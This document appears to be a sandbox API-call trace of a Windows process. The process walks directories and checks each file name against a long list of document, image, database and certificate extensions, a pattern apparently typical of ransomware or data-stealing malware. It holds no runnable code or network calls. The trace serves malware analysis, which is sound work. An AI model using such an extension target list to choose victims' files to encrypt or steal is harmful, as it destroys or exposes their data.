	[0060.681] lstrlenW (lpString=".cr2") returned 4
	[0060.681] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0060.681] lstrlenW (lpString=".crt") returned 4
	[0060.681] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0060.681] lstrlenW (lpString=".crw") returned 4
	[0060.681] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0060.681] lstrlenW (lpString=".cs") returned 3
	[0060.681] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0060.681] lstrlenW (lpString=".css") returned 4
	[0060.681] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0060.681] lstrlenW (lpString=".csv") returned 4
	[0060.681] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0060.681] lstrlenW (lpString=".cub") returned 4
	[0060.681] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0060.681] lstrlenW (lpString=".dae") returned 4
	[0060.681] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0060.681] lstrlenW (lpString=".dat") returned 4
	[0060.681] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0060.681] lstrlenW (lpString=".db") returned 3
	[0060.681] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0060.681] lstrlenW (lpString=".dbf") returned 4
	[0060.681] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0060.681] lstrlenW (lpString=".dbx") returned 4
	[0060.681] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0060.681] lstrlenW (lpString=".dc3") returned 4
	[0060.681] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0060.682] lstrlenW (lpString=".dcm") returned 4
	[0060.682] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0060.682] lstrlenW (lpString=".dcr") returned 4
	[0060.682] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0060.682] lstrlenW (lpString=".der") returned 4
	[0060.682] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0060.682] lstrlenW (lpString=".dib") returned 4
	[0060.682] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0060.682] lstrlenW (lpString=".dic") returned 4
	[0060.682] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0060.682] lstrlenW (lpString=".dif") returned 4
	[0060.682] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0060.682] lstrlenW (lpString=".divx") returned 5
	[0060.682] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0060.682] lstrlenW (lpString=".djvu") returned 5
	[0060.682] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0060.682] lstrlenW (lpString=".dng") returned 4
	[0060.682] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0060.682] lstrlenW (lpString=".doc") returned 4
	[0060.682] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0060.682] lstrlenW (lpString=".docm") returned 5
	[0060.682] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0060.682] lstrlenW (lpString=".docx") returned 5
	[0060.682] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0060.682] lstrlenW (lpString=".dot") returned 4
	[0060.682] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0060.682] lstrlenW (lpString=".dotm") returned 5
	[0060.682] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0060.682] lstrlenW (lpString=".dotx") returned 5
	[0060.682] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0060.682] lstrlenW (lpString=".dpx") returned 4
	[0060.682] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0060.682] lstrlenW (lpString=".dqy") returned 4
	[0060.683] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0060.683] lstrlenW (lpString=".dsn") returned 4
	[0060.683] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0060.683] lstrlenW (lpString=".dt") returned 3
	[0060.683] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0060.683] lstrlenW (lpString=".dtd") returned 4
	[0060.683] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0060.683] lstrlenW (lpString=".dwg") returned 4
	[0060.683] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0060.683] lstrlenW (lpString=".dwt") returned 4
	[0060.683] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0060.683] lstrlenW (lpString=".dx") returned 3
	[0060.683] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0060.683] lstrlenW (lpString=".dxf") returned 4
	[0060.683] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0060.683] lstrlenW (lpString=".edml") returned 5
	[0060.683] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0060.683] lstrlenW (lpString=".efd") returned 4
	[0060.683] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0060.683] lstrlenW (lpString=".elf") returned 4
	[0060.683] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0060.683] lstrlenW (lpString=".emf") returned 4
	[0060.683] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0060.683] lstrlenW (lpString=".emz") returned 4
	[0060.683] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0060.683] lstrlenW (lpString=".epf") returned 4
	[0060.683] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0060.683] lstrlenW (lpString=".eps") returned 4
	[0060.683] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0060.683] lstrlenW (lpString=".epsf") returned 5
	[0060.683] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0060.683] lstrlenW (lpString=".epsp") returned 5
	[0060.683] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0060.683] lstrlenW (lpString=".erf") returned 4
	[0060.684] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0060.684] lstrlenW (lpString=".exr") returned 4
	[0060.684] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0060.684] lstrlenW (lpString=".f4v") returned 4
	[0060.684] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0060.684] lstrlenW (lpString=".fido") returned 5
	[0060.684] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0060.684] lstrlenW (lpString=".flm") returned 4
	[0060.684] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0060.684] lstrlenW (lpString=".flv") returned 4
	[0060.684] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0060.684] lstrlenW (lpString=".frm") returned 4
	[0060.684] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0060.684] lstrlenW (lpString=".fxg") returned 4
	[0060.684] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0060.684] lstrlenW (lpString=".geo") returned 4
	[0060.684] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0060.684] lstrlenW (lpString=".gif") returned 4
	[0060.684] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0060.684] lstrlenW (lpString=".grs") returned 4
	[0060.684] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0060.684] lstrlenW (lpString=".gz") returned 3
	[0060.684] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0060.684] lstrlenW (lpString=".h") returned 2
	[0060.684] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0060.684] lstrlenW (lpString=".hdr") returned 4
	[0060.684] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0060.684] lstrlenW (lpString=".hpp") returned 4
	[0060.684] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0060.684] lstrlenW (lpString=".hta") returned 4
	[0060.684] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0060.684] lstrlenW (lpString=".htc") returned 4
	[0060.684] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0060.684] lstrlenW (lpString=".htm") returned 4
	[0060.685] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0060.685] lstrlenW (lpString=".html") returned 5
	[0060.685] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0060.685] lstrlenW (lpString=".icb") returned 4
	[0060.685] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0060.685] lstrlenW (lpString=".ics") returned 4
	[0060.685] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0060.685] lstrlenW (lpString=".iff") returned 4
	[0060.685] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0060.685] lstrlenW (lpString=".inc") returned 4
	[0060.685] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0060.685] lstrlenW (lpString=".indd") returned 5
	[0060.685] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0060.685] lstrlenW (lpString=".ini") returned 4
	[0060.685] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0060.685] lstrlenW (lpString=".iqy") returned 4
	[0060.685] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0060.685] lstrlenW (lpString=".j2c") returned 4
	[0060.685] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0060.685] lstrlenW (lpString=".j2k") returned 4
	[0060.685] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0060.685] lstrlenW (lpString=".java") returned 5
	[0060.685] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0060.685] lstrlenW (lpString=".jp2") returned 4
	[0060.685] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0060.685] lstrlenW (lpString=".jpc") returned 4
	[0060.685] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0060.685] lstrlenW (lpString=".jpe") returned 4
	[0060.685] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0060.685] lstrlenW (lpString=".jpeg") returned 5
	[0060.685] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0060.685] lstrlenW (lpString=".jpf") returned 4
	[0060.685] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0060.685] lstrlenW (lpString=".jpg") returned 4
	[0060.685] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0060.686] lstrlenW (lpString=".jpx") returned 4
	[0060.686] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0060.686] lstrlenW (lpString=".js") returned 3
	[0060.686] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0060.686] lstrlenW (lpString=".jsf") returned 4
	[0060.686] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0060.686] lstrlenW (lpString=".json") returned 5
	[0060.686] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0060.686] lstrlenW (lpString=".jsp") returned 4
	[0060.686] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0060.686] lstrlenW (lpString=".kdc") returned 4
	[0060.686] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0060.686] lstrlenW (lpString=".kmz") returned 4
	[0060.686] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0060.686] lstrlenW (lpString=".kwm") returned 4
	[0060.686] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0060.686] lstrlenW (lpString=".lasso") returned 6
	[0060.686] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0060.686] lstrlenW (lpString=".lbi") returned 4
	[0060.686] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0060.686] lstrlenW (lpString=".lgf") returned 4
	[0060.686] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0060.686] lstrlenW (lpString=".lgp") returned 4
	[0060.686] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0060.686] lstrlenW (lpString=".log") returned 4
	[0060.686] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0060.686] lstrlenW (lpString=".m1v") returned 4
	[0060.686] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0060.686] lstrlenW (lpString=".m4a") returned 4
	[0060.686] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0060.686] lstrlenW (lpString=".m4v") returned 4
	[0060.686] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0060.686] lstrlenW (lpString=".max") returned 4
	[0060.686] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0060.687] lstrlenW (lpString=".md") returned 3
	[0060.687] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0060.687] lstrlenW (lpString=".mda") returned 4
	[0060.687] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0060.687] lstrlenW (lpString=".mdb") returned 4
	[0060.687] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0060.687] lstrlenW (lpString=".mde") returned 4
	[0060.687] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0060.687] lstrlenW (lpString=".mdf") returned 4
	[0060.687] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0060.687] lstrlenW (lpString=".mdw") returned 4
	[0060.687] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0060.687] lstrlenW (lpString=".mef") returned 4
	[0060.687] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0060.687] lstrlenW (lpString=".mft") returned 4
	[0060.687] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0060.687] lstrlenW (lpString=".mfw") returned 4
	[0060.687] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0060.687] lstrlenW (lpString=".mht") returned 4
	[0060.687] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0060.687] lstrlenW (lpString=".mhtml") returned 6
	[0060.687] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0060.687] lstrlenW (lpString=".mka") returned 4
	[0060.687] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0060.687] lstrlenW (lpString=".mkidx") returned 6
	[0060.687] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0060.687] lstrlenW (lpString=".mkv") returned 4
	[0060.687] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0060.687] lstrlenW (lpString=".mos") returned 4
	[0060.687] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0060.687] lstrlenW (lpString=".mov") returned 4
	[0060.687] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0060.687] lstrlenW (lpString=".mp3") returned 4
	[0060.687] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0060.688] lstrlenW (lpString=".mp4") returned 4
	[0060.688] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0060.688] lstrlenW (lpString=".mpeg") returned 5
	[0060.688] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0060.688] lstrlenW (lpString=".mpg") returned 4
	[0060.688] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0060.688] lstrlenW (lpString=".mpv") returned 4
	[0060.688] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0060.688] lstrlenW (lpString=".mrw") returned 4
	[0060.688] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0060.688] lstrlenW (lpString=".msg") returned 4
	[0060.688] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0060.688] lstrlenW (lpString=".mxl") returned 4
	[0060.688] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0060.688] lstrlenW (lpString=".myd") returned 4
	[0060.688] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0060.688] lstrlenW (lpString=".myi") returned 4
	[0060.688] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0060.688] lstrlenW (lpString=".nef") returned 4
	[0060.688] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0060.688] lstrlenW (lpString=".nrw") returned 4
	[0060.688] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0060.688] lstrlenW (lpString=".obj") returned 4
	[0060.688] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0060.688] lstrlenW (lpString=".odb") returned 4
	[0060.688] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0060.688] lstrlenW (lpString=".odc") returned 4
	[0060.688] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0060.688] lstrlenW (lpString=".odm") returned 4
	[0060.688] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0060.688] lstrlenW (lpString=".odp") returned 4
	[0060.688] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0060.688] lstrlenW (lpString=".ods") returned 4
	[0060.688] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0060.688] lstrlenW (lpString=".oft") returned 4
	[0060.689] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0060.689] lstrlenW (lpString=".one") returned 4
	[0060.689] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0060.689] lstrlenW (lpString=".onepkg") returned 7
	[0060.689] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0060.689] lstrlenW (lpString=".onetoc2") returned 8
	[0060.689] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0060.689] lstrlenW (lpString=".opt") returned 4
	[0060.689] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0060.689] lstrlenW (lpString=".oqy") returned 4
	[0060.689] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0060.689] lstrlenW (lpString=".orf") returned 4
	[0060.689] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0060.689] lstrlenW (lpString=".p12") returned 4
	[0060.689] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0060.689] lstrlenW (lpString=".p7b") returned 4
	[0060.689] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0060.689] lstrlenW (lpString=".p7c") returned 4
	[0060.689] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0060.689] lstrlenW (lpString=".pam") returned 4
	[0060.689] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0060.689] lstrlenW (lpString=".pbm") returned 4
	[0060.689] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0060.689] lstrlenW (lpString=".pct") returned 4
	[0060.689] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0060.689] lstrlenW (lpString=".pcx") returned 4
	[0060.689] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0060.689] lstrlenW (lpString=".pdd") returned 4
	[0060.689] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0060.689] lstrlenW (lpString=".pdf") returned 4
	[0060.689] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0060.689] lstrlenW (lpString=".pdp") returned 4
	[0060.689] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0060.689] lstrlenW (lpString=".pef") returned 4
	[0060.689] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0060.690] lstrlenW (lpString=".pem") returned 4
	[0060.690] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0060.690] lstrlenW (lpString=".pff") returned 4
	[0060.690] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0060.690] lstrlenW (lpString=".pfm") returned 4
	[0060.690] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0060.690] lstrlenW (lpString=".pfx") returned 4
	[0060.690] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0060.690] lstrlenW (lpString=".pgm") returned 4
	[0060.690] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0060.691] lstrlenW (lpString=".php") returned 4
	[0060.691] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0060.691] lstrlenW (lpString=".php3") returned 5
	[0060.691] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0060.691] lstrlenW (lpString=".php4") returned 5
	[0060.691] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0060.691] lstrlenW (lpString=".php5") returned 5
	[0060.691] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0060.691] lstrlenW (lpString=".phtml") returned 6
	[0060.692] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0060.692] lstrlenW (lpString=".pict") returned 5
	[0060.692] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0060.692] lstrlenW (lpString=".pl") returned 3
	[0060.692] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0060.692] lstrlenW (lpString=".pls") returned 4
	[0060.692] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0060.692] lstrlenW (lpString=".pm") returned 3
	[0060.692] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0060.692] lstrlenW (lpString=".png") returned 4
	[0060.692] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0060.692] lstrlenW (lpString=".pnm") returned 4
	[0060.692] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0060.692] lstrlenW (lpString=".pot") returned 4
	[0060.692] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0060.692] lstrlenW (lpString=".potm") returned 5
	[0060.692] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0060.692] lstrlenW (lpString=".potx") returned 5
	[0060.692] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0060.692] lstrlenW (lpString=".ppa") returned 4
	[0060.692] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0060.692] lstrlenW (lpString=".ppam") returned 5
	[0060.692] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0060.692] lstrlenW (lpString=".ppm") returned 4
	[0060.692] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0060.692] lstrlenW (lpString=".pps") returned 4
	[0060.692] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0060.692] lstrlenW (lpString=".ppsm") returned 5
	[0060.692] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0060.692] lstrlenW (lpString=".ppt") returned 4
	[0060.692] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0060.692] lstrlenW (lpString=".pptm") returned 5
	[0060.692] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0060.692] lstrlenW (lpString=".pptx") returned 5
	[0060.692] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0060.693] lstrlenW (lpString=".prn") returned 4
	[0060.693] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0060.693] lstrlenW (lpString=".ps") returned 3
	[0060.693] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0060.693] lstrlenW (lpString=".psb") returned 4
	[0060.693] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0060.693] lstrlenW (lpString=".psd") returned 4
	[0060.693] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0060.693] lstrlenW (lpString=".pst") returned 4
	[0060.693] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0060.693] lstrlenW (lpString=".ptx") returned 4
	[0060.693] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0060.693] lstrlenW (lpString=".pub") returned 4
	[0060.693] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0060.693] lstrlenW (lpString=".pwm") returned 4
	[0060.693] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0060.693] lstrlenW (lpString=".pxr") returned 4
	[0060.693] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0060.693] lstrlenW (lpString=".py") returned 3
	[0060.693] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0060.693] lstrlenW (lpString=".qt") returned 3
	[0060.693] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0060.693] lstrlenW (lpString=".r3d") returned 4
	[0060.693] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0060.693] lstrlenW (lpString=".raf") returned 4
	[0060.693] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0060.693] lstrlenW (lpString=".rar") returned 4
	[0060.693] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0060.693] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0060.694] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0060.694] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0060.694] FindClose (in: hFindFile=0x5e0570 | out: hFindFile=0x5e0570) returned 1
	[0060.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0060.694] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1
	[0060.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0060.694] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031") returned 26
	[0060.694] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0470
